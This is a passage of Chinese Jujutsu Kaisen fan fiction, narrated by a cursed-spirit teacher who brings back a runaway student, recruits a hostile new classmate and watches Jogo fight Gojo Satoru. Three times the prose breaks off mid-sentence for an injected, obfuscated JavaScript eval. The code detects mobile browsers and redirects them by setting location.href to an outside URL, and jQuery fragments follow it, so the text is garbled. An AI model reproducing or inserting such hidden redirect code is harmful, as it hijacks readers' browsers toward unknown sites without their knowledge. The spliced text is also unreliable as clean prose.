我不敢反驳:“可能是我理解错了……”
“记着,这个世界弱肉强食,你不杀他,他也会来杀你。都怪那个恶心的脑子非要办什么咒灵学校,害得诅咒都不纯粹了。”
我还在思考他口中“恶心的脑子”是哪位,宿傩大人转过身来。
他提起我的衣领,把我重重甩向天空。
四面八方的斩击闪着光朝我劈来。
我掏出之前的“弹珠盾牌”,手忙脚乱地抵挡着。
他大概只是为了教训,没有想要真置我于死地,挥了几下手指便停住了。
随后,他弯腰从地面上那被切得七零八落并且还在燃烧的咒灵肉块中,挖出一根手指。
我惊呆了,忘了用咒力缓冲,直接摔在了地上。
正眼冒金星呢,听见宿傩大人说:“早在平安京时代,我被难缠的咒术师挑战过无数次。”
“后来,我的诅咒分散为二十根手指,遍布各地,大部分被咒术师封印起来,镇压在各个学校。”
“如今封印松动,我有所感知。”
“但是,能够感知到它的不止我一个,对付咒术师的同时还要提防小偷,可真令人恼火。”
他瞥了眼地上的东西,说得毫无感情。
明明前一刻,那团东西还姑且能被称为我的“同学”,可现在却成了宿傩口中的“小偷”。
“学生,你记住。”四只红色的眼眸瞥向我,我立刻躬身,低下头。
“无论发生什么,永远不要忘记,你是诅咒。”
*
如果那个混乱的下午可以被称之为“授课”的话,我想,我大概是这群人当中,唯一接受过宿傩大人教学的人。
思绪飞得有点远,再回过神时,我发现场地已经被打扫干净。
坨艮再度掏出了那副灵异预测卡牌。
我起身,拍拍尘土,挤到花御身边坐下。
“问题是什么?”
花御说:“漏瑚明天的胜算有多大。”
漏瑚抽了一张,扔给坨艮。
“啊哦。”
红色的触须在空中飞了飞,它不安地发出一串怪音。
花御翻译道:“听起来不是什么好牌。”
她又转过来说:“漏瑚,你要死了。”
“呸!”漏瑚头顶喷出一簇火焰,“你就是这么报答送你礼物的人?”
我抬头,发现吊坠已经被花御戴在了胸前。
恰巧真人这时候醒了,黏糊糊地冲漏瑚勾勾手:“呐,漏瑚,我也要礼物。”
歘——
浓烟滚滚的橙红色岩浆扑向真人,空气里一时间遍布烧焦的气味,甚至比刚才我们烤的牛肉还香,而真人整个上半身已经完全淹没在火光里了。
我急忙喊道:“喂,动静小点啊,还在学校呢,把别人引来就不好了。”
被火焰燎成黑乎乎的真人在原地僵了几秒,随后张开枯枝一样的手,白花花的手臂迅速增长延伸,转瞬间就恢复了。
“嘶,这礼物还真热情。”
他一边说一边将胳膊延长出几米,从脖子开始一圈圈向下缠绕:“漏瑚,你明天要是能活着回来,我会邀请全校人,为你大办一场活动庆祝的!”
没别的原因,只要不伤及灵魂,真人的身体可以无限恢复,但衣服不能。
我惋惜地看了眼地上已经变成灰烬的女仆装。
大家都喝得醉醺醺,明明可以用反转术式将头脑恢复清醒,可谁都没有主动这样做。
大概,偶尔的宿醉对我们来说,是比其它更奢侈的东西。
半梦半醒间
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301770|182782||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我感觉手机屏幕亮了几秒。
艰难地从草地上爬起,发现是学生枫谷发来的简讯。
「清野老师,我因为社团活动晚走了一会儿,路过训练场,发现学校后山草地上的樱花树下好像躺着一群黑乎乎的醉鬼,是不是最近保安人手不足,导致外面的社会咒灵偷偷溜进来了?」
「那边离咒具收藏室很近,我担心会有小偷。」
「老师,那边人数多,咒力气息极强,我应该没办法独自解决,老师您如果没下班的话,可以来帮个忙吗?或者联络其他老师过来。」
我盯着亮晃晃的屏幕,揉了揉眼。
训练场。学校后山草地。樱花树下的醉鬼。
那不就是——
我们吗?
「等一下枫谷!先不要联系别的老师!」
我几乎是弹跳着起身,中间似乎还误踩到了真人那面条一样的胳膊,顾不得道歉,踏着夜色朝训练场飞奔。
十分钟后。
樱花树迎来了它唯一清醒的“新客人”。
我和枫谷悠真靠坐在离“醉鬼”较远的山坡上,各自端着一盏焙茶。
“什么嘛,竟然是清野老师的朋友们吗?”枫谷的语气里含着小小的牢骚。
“那些醉鬼朋友也是老师在学生时代的同学啦,见到要喊前辈哦。”我有点难为情,举起杯子,喝了口暖烘烘的焙茶。
枫谷眯起眼,朝树底下望去:“真人前辈、坨艮前辈、花御前辈……那位睡着了还可以喷火的是漏瑚前辈吗?”
我“嗯”了声:“漏瑚明天要去跟咒术师打一场很重要的对决,所以今天是以‘永别’的心情聚会哦。”
“这样啊……”枫谷托着下巴,“如果是要去打一场有去无回的仗,如果是我的话,可能会比他们还疯狂呢。”
“欸——想象不到性格沉稳的班长同学疯起来会是什么样呢。”我调侃道。
“老师不要小看我啦,还有,别叫我班长,明明一年级里加上我才两人啊。”枫谷抱怨道。
我哈哈地笑起来。
枫谷仰起脸,天真地说:“真好啊,我也想为大家做点什么,老师不能直接发布考核,让我升为三年级生吗?”
三年级的话,就可以从结界里出去接任务了。
目前枫谷的工作还局限在结界内,利用术式接应外面受伤的咒灵。
我说:“如果实力达标的话,会考虑。而且,枫谷的茶很好喝啊,听说料理也很棒,享受过枫谷手艺的人都会开心吧,才不是什么都没有做。”
“谢谢。但不会给老师当免费厨子的哦,老老实实吃食堂吧。”
“哇真小气啊。”
……
树木在远处的山峰绵延,山风穿行而过,我翘起二郎腿,眺望着远处的风景,感觉身边的少年忽然矮下去了一点。
“这是什么?”枫谷起身时捡起一张纸片。
我收回目光,转头看他。
“刚才一直粘在老师的鞋底,是塔罗牌吗?”
我挑挑眉:“性质差不多啦,刚才他们有玩过,让我看看牌面写了什么。”
想起刚才漏瑚抽过了牌,但还没有解读,我从枫谷同学手中接过,翻转卡面,眼睛仿佛被什么给闪到。
众多花草树木甚至包含了各种神明的牌中,宇宙系的牌只有三张。
——这是第二张了。
一抹照进眼里就无法忽视的蓝,环绕着整颗恒星。
空气里漂浮着清冷的气息,一片樱花瓣恰好飘落在星球的上方,看上去像是被那束蓝色光芒给穿透了一样。
不知为何,我心里隐隐有种不安的预感。
5. 影子
因为那张第二次出现的星球牌,从早上来高专整理训练记录时,我总是感觉背后发毛。
早上七点。
训练场地开放,我抵达时,学生已经自行开始热身了。
我简单公布了今日的教学安排,三年级全体外出,一名一级咒灵和两个准二级咒灵为一组,执行任务。
二年级学生和一年级学生打对抗,进行日常训练。
我对照着花名册数人,拦住一名在负重跑的学生。
“枫谷同学呢?”
学生转了转眼珠,露出迷茫的神色。
“一年级的,枫谷悠真。”我报上姓名。
“噢……他一早就出门去了啊。欸,等等——老师您说他是一年级的啊?”
“怎么了?”
“糟糕,”学生挠挠头,“我一直以为他是三年级的学长呢,还给他指了路。”
“指什么路?”那股背后发毛的感觉又来了。
学生伸手指着后面山坡的某片草地:“就是三年级前辈们执行任务时经常走的路线啊,终点不就是结界的出口吗。”
我抓住学生的肩膀:“你又是怎么知道结界出口的?难不成学生们都知道吗——”
“啊,那倒没有啦,我只是因为宿舍恰好在三年级隔壁而已。”
我松开双手,学生立刻拖着铅块跑走了。
此时是上午7点30分,我得知一年级生枫谷悠真逃课,跟踪三年级生离开了结界。
*
上午十点。
距离漏瑚预告的决斗,还有十二个小时。
咒灵高专已经闹翻了天。
“这个小鬼!等我见到他会好好揍一顿的!”同事的手指在键盘上敲出残影。
“现在不提倡这种教育模式啦。”另一位老师淡定地喝了口咖啡,目光却落在我身上:“学生肯定都喜欢温柔的老师吧?”
我皱了下眉:“训练上我是最严格的。”
没人接茬。
喝咖啡的同事又走到窗边:“啊呀,想不到向来正经的班长竟然是第一个逃学的人呢。”
他转过身,隔空做了个敬酒的姿势:“这要多亏了清野老师呢,跨年级执行任务,我们学校未来一片光明啊。”
说完他便把嘴巴凑到杯沿处,里面的咖啡忽然沸腾起来,如海水涨潮一样从浅浅的杯口中溢出,灌进那人毫无防备的鼻孔里。
“咳咳——”
他张大嘴,捂住脖子,以一个扭曲的姿势弯着腰。
我欣赏了会儿他痛苦的表情,蜷缩的手指松开,咖啡又像洪水一样从他的嘴里倾泻而出。
办公室里持续了很久的咳嗽声。
“你好像搞错了一点,”我走上前,很淡定地拍拍他的肩,“学生喜欢我不是因为温柔,而是我护短。”
他维持着捂脖子的动作,眼球震颤,像是在看什么恐怖的东西。
“啊,追踪到了。”敲键盘的老师适时救场,我松开手,来到电脑前,身后仿佛有什么东西扑通一声倒在了地上,我没有理会。
“枫谷同学身上有携带清野老师给的咒具吧?我是根据您的咒力信息追踪到的。”
电脑屏幕被转到我面前,地图上浮动着星星点点的光斑。
“这里是?”我指着某片陌生的区域问。
老师用鼠标圈画出一块最亮的范围:“坐标仙台,根据建筑外观判断是一所高等学校。”
“那个地方是什么任务?”我把资料翻得哗啦作响,身后有好一阵子都没声音,我以为那家伙多少会昏过去,谁知他顽强地爬起来了。
还用一副不计前嫌的语气说:“仙台的任务是我们班级做的,内容很简单,潜入高校查看特级咒物封印的松动情况,再回来报告。”
“枫谷同学/运气很好,不会有生命危险。”
话音刚落,地图上那片区域骤然爆发出阵阵闪光。
所有人的眼睛都被晃到,我偏开头,等那阵炫目的光暗下来一点,凝神看过去——
整片建筑群都塌了。
“……”
“这就是你说的不会有生命危险?”
“放宽心啊,至少被毁的建筑是对方的啊,说不定局势对我们有利呢。”
“再说了,枫谷同学的水平其实早就在一级之上了吧?只是没有执行过任务,所以评分一直很低吧。如果我是枫谷同学,肯定也会埋怨老师,为什么不给我机会呢?之类的。”
“……”
“啊啦,清野老师生气了吗?”
我很想再用术式将咖啡封住他的嘴,但想了想还是确认枫谷的情况最要紧。
“去通往仙台的结界最快要多久?”
“四十分钟。清野老师,您要出去吗?”坐在电脑前的老师抬起头来,担忧地望着我。
是啊,这些人都是在羂索离开后加入的,印象里我从未踏出过这片地域,恐怕在这些人眼里我早就变成“镇校之宝”一类的存在了吧。
“‘高专需要留一名特级镇守,这是校长离开前留下的原话’,您当时跟我们所有人都这样交代。”
我沉默了几秒。
然后,将两只手分别搭上两名老师的肩膀:“你们的咒力合起来应该能够达到特级水准吧?”
“我只出结界两小时,请务必在这两小时内保护好高专的安全。”
“清野老师,您从没出去过,需要给您派一位辅助咒灵吗?”
“也好。”
十分钟后,专用车停在了教学楼下。
我跟同事借了一套西装——听说那个世界的打工者都这么穿。
汽车朝远离人烟的小路驶去,我和临时搭档的辅助咒灵交换了名字。
“清野瞳,目前是咒灵高专一年级的负责人。”
对方点点头,小心翼翼地伸手和我握了握:“您叫我河上就可以。”
*
上午十二点,离漏瑚对决还有十小时。
我和辅助咒灵抵达仙台某所高校。
河上辅助在一旁摆弄平板,我扫了一眼,大量的信息在眼前滑动。
“啊,在这里,”河上找到的同时松了口气,“高中部好像集体修学旅行了,真是万幸。”
不会波及到太多无辜的普通人,如果小心行动应该也不会被咒术师注意到——任务并不危险。
如果没有亲眼见到,我想我会跟同事做出同样的判断。
天空呈现出不太正常的灰色。
车停在学校后门,我朝唯一的小铁门走去,被一堵空气墙弹了回来。
“有人下了‘帐’,”我说,“破解需要多久?”
河上推了推眼镜;“要想尽量不破坏它,可能至少二十分钟……”
“太慢了。”我皱起眉。
掌心贴向那堵空气墙,我闭上眼睛,感受陌生的咒力在指尖流动。
冷冰冰的黑色,影子一样流动着,在被我触碰到时本能地刺向我的指尖。
我扬手躲开。
下帐的咒术师仿佛很焦急,发生什么了?难道是封印的咒物被解开了?
我开始往最坏的结果想象,高空之中忽然破开一束刺眼的光。
“帐被人从内部打破了!”河上在身后叫着。
我迅速回头:“河上在这里守着。”
趁破洞还未合上,我爬上身边的树,从高处跳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301771|182782||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
进帐顶部的漏洞。
世界的颜色在眼前变换了几样色彩,最后映入眼帘的是一片浓郁的黑色。
我选的落脚点不太妙,一只全身黑亮的凶犬正朝着这里扑咬过来。
我下意识用咒力击退,结果那黑犬在咒力的闪光中化作一道影子,随后出现在我的背后。
黑暗中绿莹莹的双眼盯向我,眉心亮起一道红色的咒文,它朝我发出低吼,下一秒再度扑过来。
我掏出弹珠护盾,那只黑犬擦身而过——原来目标不是我吗?
“清野老师!”是枫谷的声音,他在喊我。
我再度发动咒力,击退声音源头方向的黑雾。
同时,黑雾里响起一道陌生的声音:“鵺!”
头顶传来鸟类的鸣叫,高空中俯冲下一道影子。
一股悚然的压迫感从后背升起,我翻身躲开,冲入那片浓雾里。
和会飞的东西战斗,如果不隐藏位置,根本没胜算呐。
“清野老师,这里!”
浓雾里我循声抓住枫谷的肩膀:“现在是什么情况?”
枫谷抬起手臂,似乎在擦脸上的鲜血,他说:“有人类解除了咒物的封印,我赶来时发现已经被野生咒灵抢先拿到,没等我阻止,他们便跟那个黑雾里的咒术师发生了冲突,基本上全都被祓除。我勉强救下一个咒力最强的,现在昏迷着,被我用术式保护起来了。”
黑雾里的咒术师:“我是伏黑惠。”
“我叫枫谷悠真。”枫谷冲那边喊道,被我一巴掌拍在后脑勺。
“笨蛋,你在跟你的敌人互通姓名吗?”
枫谷发出吃痛的声音。
黑雾里的咒术师:“请联系高专派更多人手支援,情况有变,新增一个一级咒灵,和一个名录上的特级。”
枫谷后知后觉“啊”了声:“原来他在打电话啊。”
我:“……”
伏黑惠:“我暂时无法撤离,咒物还没有取回,是的,我知道,但是五条老师——”
他的声音激动起来,那道黑影在后退,似乎对我们的存在很警觉。
我又问:“咒物呢?”
枫谷摊开手:“这里。”
是一块遍布苔痕的石头,里面夹杂着水晶质地的杂质。
我说:“还给他们。”
枫谷瞪大眼睛:“可是,老师——”
我打断道:“有被提醒过不可以擅自离开结界去那边吧?也有被教育过不可以伤害无辜的人类、更不要与咒术师发起冲突吧?”
“这是他们原本放在学校镇压诅咒的,外界的事情我们管不了。高专的任务是寻找宿傩大人的手指,这个显然不是。所以,还给他。”
“老师!”枫谷瞪着我,我感觉到他在压制着怒火。
几秒钟后,他低下头:“知道了,清野老师。”
随后,他把那颗石头抛进黑暗中。
伏黑惠似乎有被惊吓到,但本能让他身体先一步反应,抓住了咒物。
浓雾散去不少,诅咒的气息似乎在他手里被压制住大半,他歪着头,用肩膀和下巴夹着手机,似乎并没有中断通话。
“咒物已取回,执行撤离。”
从帐内逃离之前,他回头望了我们一眼,目光称不上善意,但更多的是困惑。
在纳闷我们为什么没有发起攻击吗?
可能是电话里他对着那边也喊了声“老师”吧,我没办法对着学生下手。
而且,比起纯粹的杀意,我看到的只是对指令,或者说某种信仰的服从。
捏紧的手指在我身后松开。
“枫谷悠真,记住你了。”伏黑惠离开前说。
6. 倒计时
下午两点,距离漏瑚决斗六眼神子还有八小时。
咒灵高专。
我和部分出完任务的三年级生,以及两名同事聚集在医务室。
辅助咒灵简单下了结论:“这孩子没受什么伤,就是有些消耗过度,睡一觉就好了。”
同事端着咖啡凑过来,见到我也在,默默把咖啡杯子放到桌面,再折返过来问:“怎么回事?这孩子从哪儿来的?”
“听清野老师说,是枫谷捡回来的。”三年级生回答。
“捡的?真乱来啊——那枫谷呢?平安回来了?”
我冲窗户那边努了努嘴。
教学楼外,训练场地上,额头缠着绷带的家伙正在进行负重长跑。
“……”
同事咳嗽了一声:“想不到,清野老师也有严厉的一面。”
“涉及到安全问题,没办法不严厉吧。”我说。
同事又说:“这孩子要怎么处理,等醒了问问,然后把他送回家吗?”
我盯着病床上熟睡的面孔,很年轻,大概跟枫谷差不多年纪。
我摇摇头:“问了大概也没用,是在外面世界流浪的家伙。”
“身为诅咒却诞生在那边,在充满咒术师的世界里存活下来,已经是种奇迹了吧。”
我说:“枫谷的意思是可以招进一年级做他的同期,年龄正好也符合。”
“这孩子同意了?”
我想了想,没有给出准确的答复:“大概吧?”
“什么叫大概啊?能跟我们具体说说发生了什么吗?”
我把在那边的事情简单复述一遍,大家脸上的表情很精彩。
被枫谷“救”下的孩子,其实是被五花大绑着丢进枫谷用术式建立的临时空间里,根据挣扎的痕迹判断,很可能是被气晕过去的。
不过这些我并没有当着大家的面讲,枫谷加训完后跑回来,在敞开的门前刹住脚,冲里面喊了声“报告”。
“进来吧,别装模作样了。”我说。
出于逃课的心虚,枫谷难得没顶嘴,乖乖走了进来。
病床上的人恰好在这时睁开了眼。
他张开嘴,先是一阵剧烈的咳嗽。
枫谷挤进来,拍拍那人的肩膀:“见到我别这么激动嘛,知道你想感谢我,不过还是先办正事吧。”
那人朝地面狠狠“呸”了一口。
“你是笨蛋吗!感谢你?做梦去吧,要不是你拦着我,那咒物已经在我腹中了!”
三年级生窃窃私语。
“悠真说的正事是什么啊?”
“大概,办入学手续?”
“不是说救回来的吗,怎么感觉像是绑回来的,这眼神,明明是想杀掉悠真的吧。”
诅咒是会杀死诅咒的。
这个道理我早在宿傩大人实战教学的那堂课便懂了。
该怎么用一种不太残忍的方式告诉同学们呢?
枫谷原本是笑嘻嘻地来关心对方的,我看见他藏在后背的那只手还捏着根棒棒糖。
结果下一秒,那糖就被他捏成渣。
被毫无理由喷了一通的他也抬高了调子:“你才是笨蛋吧?都不了解咒物的特性就乱吃,从小长辈没教育过你,地上捡的东西不可以乱吃吗?吃坏了怎么办?要么跟其他诅咒融合,很有可能从此失去自主意识,要么就被咒术师祓除——无论哪种,都跟死了没区别吧?”
“我明明是在救你的命啊,小子,你才该清醒一点!”
枫谷不知哪句话戳中了他的痛处,那人的眼睛一时间蓄满了泪水,他咬住嘴唇,一言不发地瞪着我们。
过了很久,他才自言自语般开了口。
“我都搞不懂为什么会存在,又是谁让我诞生,我只知道从出生起就被人讨厌,咒术师说我的诞生是个错误,我必须死。”
“没做过错事吧?凭什么要我死呢,对我来说完全不公平啊,难道不该生气吗?我一生气就控制不住咒力,后来确实伤过人……”
“一直躲着也不是办法,咒术师早晚会根据气息追过来的吧,那不如吞下比自己强百倍的咒物,就算不再有自己的意识,可是我的身体可以交给更强大的诅咒操使,那不也是某种意义上的活着吗?”
“看你们的样子,好像过得很幸福啊,凭什么我在那里受苦,你们在这里像那个世界的人类一样上学、玩闹呢?”
“啊……”他捂住脸,弓起瘦削的脊背,“好讨厌,好想杀了你们啊……”
铺天盖地的诅咒气息从他身上张开。
“躲开!”
我一把拽住枫谷,将他朝身后甩去。
枫谷完全没反应过来是怎么回事,我已经顾不得解释,语气粗暴地吼他:“把绳子扔给我!”
刚才甩的那一下我忘记收力,枫谷后背砸到墙上,飞溅出不少粉末和碎块。
经验丰富的三年级同学已经开始用术式将这间教室隔离,枫谷被摔得眼冒金星,摩挲着口袋朝我抛来一条绳索。
那是特级咒具,可以短时间锁住咒力,早年间羂索从外面的拍卖行买来的。
将绳索缠在那家伙胳膊上时,我忽然想明白了——枫谷当时为何用五花大绑的方式把这家伙丢进空间。
*
下午三点,训练场。
压制咒力耗费了我不少时间,那家伙现在被绑在了一张椅子上,被大家围在中间。
半小时后,他终于再度苏醒过来。
枫谷头上缠着绷带,他力气也耗尽了,暂时没用反转术式治疗自己。
枫谷对那人说:“别挣扎了,我说。你打不过我们的,老老实实留下来,跟我们一起上课不好吗?你以前嫉妒的那种生活,也会享受到的。”
“……”
“哇,”枫谷夸张地拍了下手,“真是油盐不进呢。”
说着,他变戏法似的从包里拿出一个便当盒。
“都怪你耽误时间,害得我中饭还没吃。”
“看我干嘛,你也想吃?可这是我自己做的哎,我只给同学分享哦,就连老师都吃不到。”
我在一旁听着,嘴角抽了抽。
确实没吃到呢,最近午饭都是咖啡兑牛奶,草率解决的。
枫谷气定神闲地夹起一块叉烧,放入口中用力咀嚼,嘴角沾着金黄色的蛋液,丼饭的香气被风送到对面。
被绑着的家伙耸了耸鼻尖,嘴唇抿得更紧了。
在枫谷举起第三块淋满酱汁的叉烧肉时,那孩子终于憋不住了,金色短发在脑袋上炸开,像顶着一只刺猬。
“用不着这么折磨我,我只想问——凭什么都听你的啊?”
枫谷放下便当盒,起身,气质又跟刚才漫不经心的样子不同了,有股淡淡的冷漠。
他走近时,周身的空气产生了波动,咒力的光辉在他眼中明明灭灭……有点不像人了,倒像花御刚把他捡回来的模样。
也是跟被绑在椅子上的少年一般,张牙舞爪,气势汹汹,一股不服输想灭了全天下的劲头。
枫谷将手轻轻压在对方肩膀上,对方显然僵住了,那是被更强咒力压制的表现。
枫谷朝他露出一个温和的微笑:“因为我是班长啊。”
说完还用余光扫了我一眼。
我连忙走过来,拉开枫谷的手,对那人说:“枫谷同学是很负责的班长哦,同学你放心,加入我们,以后就由咒灵高专管辖,会有自己的宿舍,也有很多伙伴,这里的食堂也很好吃哦。”
说最后一句时,枫谷的目光幽幽地飘过来,似乎在谴责“老师自己都不吃食堂说这句话良心不痛吗”。
“不要求你马上给我答复,不过今晚老师也有重要的事情,不能一直看着你,所以,请在晚上十点之前做出决定吧。”
说完后我没有再给对方压力,转身朝教学楼方
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301772|182782||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
向走,枫谷在后面跟上来。
等走远后,我转过来小声训斥枫谷。
“把人带过来多少也要先问过对方的意见吧,什么都不解释直接把人这样带回来,和绑架有什么区别啊。”
枫谷摸摸鼻子:“那是因为他太难搞了啊,我不绑着他他就要咬我,所以想把他带回来,先请老师帮忙说服试试看。”
他忽然露出崇拜的眼神:“如果是老师的话,就算不解释,用爱来感化也是可以的吧?”
我:“……”
那一刻,我很想知道。
——我在你们眼里都变成什么形象了啊?靠爱感化邪恶的天使吗?太荒唐了,我可是诅咒啊!从七岁起就是特级诅咒了!
*
下午17:00,距离漏瑚挑战六眼神子还有五小时。
我坐在办公室里,吃着威胁来的叉烧便当,等着手机里的信息。
不多时,花御在「最好组合」的群聊中,发来一张图片。
背景似乎是在小餐馆,四人份的火锅,除了花御、漏瑚还有坨艮,许久未见的羂索大人似乎也在,镜头没有拍到羂索大人的样貌,只拍到一角僧袍,我想即使看见了大概也认不出吧。
花御:「陪漏瑚来吃最后的晚餐。」
漏瑚:「别诅咒我行吗?给上战场的人点气势啊。」
我打字:「什么嘛,漏瑚自己就是诅咒,还想要被其他人诅咒吗?」
漏瑚:「……」
漏瑚:「清野,下次见面记得不要说冷笑话,我怕我会把你烧成骷髅。」
我顺势发送一个表情包,恰好是一具骷髅抱着双臂瑟瑟发抖的模样。
花御:「先不说了,菜上齐了。」
我:「你们去人类的餐馆吃东西,真的可以吗?」
漏瑚:「怕什么?那群猴子又看不见我们!就算穿帮了也可以直接烧死。」
我:「你又在乱来了!」
花御:「夏油大人在催了,再见。」
自从有了手机,我很喜欢在这个小框框里跟朋友们聊天,眼下看着花御结束的对话,我心里油然生出一丝失落。
转眼望向窗外,训练场在黄昏时刻分外寂静。
很想下楼问问那家伙考虑好没有,但我忍住了。
正准备收回目光,没想到远处有一个小黑点在朝训练场奔去。
是枫谷。
他竟然又做了一份便当,把白色的盒子递到那人面前,那人倔强地偏开了头。
——被绑着手脚怎么吃啊。
我在心里幻想两人的对话。
——有办法啊,你同意入学,我现在就喊老师把封印解开。
——请滚开好吗。
我忍不住被自己想象的场景逗笑,可能真如漏瑚所说,我笑点很低吧。
不过,事情似乎并没有朝着我想的方向发展。
枫谷离开了,再回来的时候拖着一把新椅子,坐在了那人身边。
便当盒子被拆开,他也没有贸然越界,而是用咒力让食物们悬空,递到了另一边。
另一个倔强的身影僵持几秒,忽然动了。
他微微侧过头,把脸埋在便当盒中,开始进食了。
多么玄妙的青春啊,以为永远猜不透少年人的想法,可少年们的心思其实很单纯。
*
夜间,21:00。
天色已经完全黑了。
距离漏瑚的对决,只剩一小时。
我竟然替他紧张起来。
胜算难保,我预测大概三七开的样子吧,这还是经过历练、咒力已经强大不少的漏瑚。
很难想象,这样的他,即使失败,又该如何全身而退。
不,以他的性子,不会撤退的吧。
那个一根筋的家伙,从学生时代起就是,遇到搞不明白的问题,只会缠着大家不放,直到弄清楚为止。
7. 新同学
指针拨到二十二点整,我的心脏同步颤抖了一下。
应该开战了吧?
饶是漏瑚那晚在樱花树下举着酒杯自大发言,他背地里也计划了很久——从如何引起“六眼”的注意,到用什么办法对付。
和那些激进态度的伙伴不同,我不在乎输赢,从小被教育要“平衡”,力量的平衡、生命的平衡……
无关立场,我只想我的伙伴活着。
在办公室里独自一人,也写不进去报告。
我干脆决定下楼溜达一圈儿。
比如,照顾一下花御学生时代就种下的花田啦,整理整理咒具啦,路过训练场时问问新同学的情况啦……
“同学,决定好了吗?已经超时了哦。”我假装不经意地晃悠到两名少年跟前。
金色头发的少年身上的伤已经消失了,看样子已经用术式恢复过。
“我叫风间守。”他说。
短短几小时的交流,两位同学已经互换了名字,这是个好开头。
看来枫谷悠真的劝学成果有了良好起色。
我开心地合掌:“意思是打算入学了吗?”
风间守摇摇头:“意思是我拒绝了。”
“哈?”
我扭过头看枫谷,他反而没有下午那么着急,摊开手耸耸肩,意思是“我没辙了”。
班长带头摆烂这对吗?!你们的梦想和热血呢!
我无语到说不出话来,这时通讯器在口袋里震动。
我们已经能够熟练使用移动设备处理日常信息,但特殊情况还是会用通讯器。
毕竟有些地方没办法覆盖网络,而咒术师对咒灵的追捕也总在那种地方。
花御的声音传来:“事态紧急,你回忆一下,除了枫谷还有谁能用跟空间,或者说时间有关的术式?”
“除了枫谷吗?”我扭头看向两人,枫谷也闻声看过来。
“是花御前辈吗?”枫谷悠真的眼睛亮起来。
我点了下头,通讯器的声音不小,这个距离三个人都能听见。
花御那边说:“是的,目前需要靠枫谷利用空间术式将我们转移。”
“战况如何?”我问。
“不妙。”
她语气低沉下来。
“事先在漏瑚身上安的追踪器大概已经被击毁,他和五条悟打着打着就到深山里了——我收不到任何讯号。”
“战力上,几乎是五条悟单方面碾压。”
“啊?”
“啊?”
我和枫谷同时出声。
花御苦笑道:“没骗你们啊,事实就是这样,尽管我也不想承认,身为咒灵竟然有一种很丢脸的感觉……算了,还是先找到漏瑚要紧。”
“但愿那时候他还留着一口气。”
花御向我求助,寻找能够追踪漏瑚、或者说延缓局势的人。
她一开始只说寻找能调慢时间或者能够暂停时间的人,随后意识到这个要求太过于具体,于是改口为“能够找到漏瑚并延缓他的死亡”的人。
即使这样也很难找到吧!
我想着,花名册上每位同学的名字都在脑海中过了一遍。
没有,没有……
在我搜索的时候,花御说在手机里给我传了一段视频。
网络信号时不时会中断一下,我把手机丢给枫谷让他盯着,自己则思考着其它对策。
“老师!”枫谷叫我,“花御前辈的视频传过来了,天啊——这是什么级别的战斗啊,我有点承受不住了。”
他捂住脸。
视频一开始直接被拉到最后播放,画面里只有咒力对抗的闪光,路面整个被毁掉,山体也被击碎出大坑,碎石沿着斜面滚落。
就算山路地段人烟稀少,闹出的动静太大也不好。
我把进度条拉到最开始的地方。
花御听到我们那边的动静,解释说:“一开始,我们原本计划在车子行驶半途中袭击,打五条悟一个出其不意。”
“但是,不知为何他好像提前感知到了,在陷阱前面的路段独自下了车。”
“你也知道漏瑚性子急——大好的机会,而且落单,他几乎是一刻都等不了,甩掉我们先行发起偷袭。”
如花御所说,视频里战况十分激烈。
在连续两波火焰直接吞没五条悟高挑的身形时,我身旁的两位少年激动地拍起手来。
“好耶!”
随后那些裹挟着黑烟和碎石的火焰仿佛遇到了一股阻力,忽然悬停在半空中,随后扑簌簌掉落。
而五条悟只是单手插兜站在浓烟消散之处,眼罩遮挡的面孔甚至还留有一抹笑容。
少年们:“糟糕!”
漏瑚不信邪地再度以更强咒力的火焰术式攻击五条悟。
结果仍然和前两次一样,被阻挡在离五条一尺的距离。
两位少年发出了和漏瑚同样的疑问。
“怎么可能!”
之后的画面很混沌,大概是花御也感觉不妙,放弃记录转而前往支援漏瑚。
可惜慢了一步。
没看清是谁先伸的手,总之画面变清晰时,一直无法被碰到的五条悟竟然和漏瑚的手紧紧握在一起。
两名少年声音都变了调:“不妙啊!”
是的,很不妙。
漏瑚一只手被抓着,他似乎在倔强地逼自己思考,像极了学生时代考试最后几秒钟时,他因为答不出问题而死死按住试卷,不肯交给老师。
现在也是死死抓着的,被五条悟一拳又一拳击中腹部、胸口、头颅……
毫无反击的余地。
“那是什么?黑闪?”枫谷扶着眼镜,脸几乎要贴到屏幕。
“不,不对,不是单纯地用咒力打击,而是在击中的同时发动术式,简直是成倍的伤害啊!”
“漏瑚前辈!请振作啊——”枫谷对视频里的人大喊着,即使对方根本听不见。
视频突兀地终止在咒力爆发出闪光的那一刻。
花御的声音从通讯器里传来:“如你们所见,五条悟把漏瑚逼进了山中。”
